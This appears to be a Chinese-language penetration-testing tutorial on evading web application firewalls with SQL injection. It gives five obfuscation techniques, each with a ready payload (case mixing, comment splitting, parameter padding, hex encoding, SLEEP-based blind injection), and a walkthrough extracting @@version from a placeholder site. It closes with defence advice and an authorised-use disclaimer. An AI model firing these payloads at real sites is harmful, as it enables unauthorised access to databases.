引言
在渗透测试中,SQL注入(SQLi)始终是Web安全的核心漏洞之一。然而,随着企业广泛部署Web应用防火墙(WAF),传统的注入攻击往往会被拦截。本文将分享一种绕过WAF检测的SQL注入技巧,并通过实战案例演示如何利用该漏洞。
注意:本文仅用于授权测试场景,未经许可的攻击行为属于违法!
目录
一、WAF的检测原理与常见规则
WAF通过正则表达式、语义分析或机器学习模型识别恶意请求。常见的拦截规则包括:
- 检测敏感关键词(如
UNION
、SELECT
、SLEEP
)。 - 拦截特殊符号(如单引号
'
、注释符--
)。 - 限制异常请求频率(如短时间内大量错误查询)。
绕过思路:通过混淆攻击载荷,绕过正则匹配和语义分析。
二、绕过WAF的5种实用技巧
1. 大小写混合与随机空白符
WAF的正则规则通常区分大小写,通过混合大小写插入随机空白符可绕过检测。
示例:
uNiOn%0AseLeCt%0A1,2,3--+
%0A
为换行符的URL编码,破坏正则表达式匹配。
2. 注释符内联分割
利用注释符(/**/
)分割关键词,干扰WAF的语义分析。
示例:
UN/**/ION SEL/**/ECT 1,2,3 FROM users--+
3. 超长参数污染
提交超长参数触发WAF的缓冲区限制,导致其跳过检测。
示例:
GET /search?q=test' AND 1=1--&padding=AAAA...(填充1MB垃圾数据)
4. 编码混淆
对攻击载荷进行多重编码(如URL编码、Unicode编码)。
示例:
%55%4E%49%4F%4E%20%53%45%4C%45%43%54%20%40%40%76%65%72%73%69%6F%6E
(解码后为UNION SELECT @@version
)
5. 时间盲注绕过
利用时间盲注的延迟特性,避免触发WAF的响应内容检测。
示例:
' AND IF(ASCII(SUBSTR(database(),1,1))=115, SLEEP(5), 1)--+
- 通过响应时间差异判断数据库名首字母是否为
s
(ASCII码115)。
三、实战案例:绕过云WAF获取数据库信息
目标环境
- 目标网站:
https://vuln.example.com/product?id=1
- 部署的WAF:某云厂商的默认规则集。
步骤演示
探测注入点:
输入id=1'
触发错误,但被WAF拦截。
绕过方法:改用id=1%27%0A
('
的URL编码+换行符)。判断字段数:
使用ORDER BY
探测字段数,但ORDER BY 5
被拦截。
绕过方法:id=1%27%0AOR%0A1%0AGROUP%0ABY%0A5--+
联合查询提取数据:
原始Payload被拦截:UNION SELECT 1,2,3,4,5
绕过方法:
id=-1%27%0AUnIoN%0A/*!SeLeCt*/%0A1,@@version,3,4,5%0A--+
/*!...*/
为MySQL内联注释,强制特定版本执行。
结果提取:
页面返回数据库版本信息(如5.7.34
),确认注入成功。
四、防御建议
代码层防御:
- 使用参数化查询(如
PreparedStatement
)。 - 对输入进行严格白名单校验。
- 使用参数化查询(如
WAF配置优化:
- 启用语义分析引擎(而非仅正则匹配)。
- 配置频率限制和异常行为检测。
日志监控:
- 记录所有异常请求,分析攻击特征。
五、总结
绕过WAF的SQL注入需要结合对目标防护规则的深入分析,灵活运用混淆技术。作为防御方,需通过多层防护机制(代码安全+WAF+监控)构建纵深防御体系。
渗透测试的本质是模拟攻击以提升安全性,而非破坏。 所有测试务必在授权范围内进行!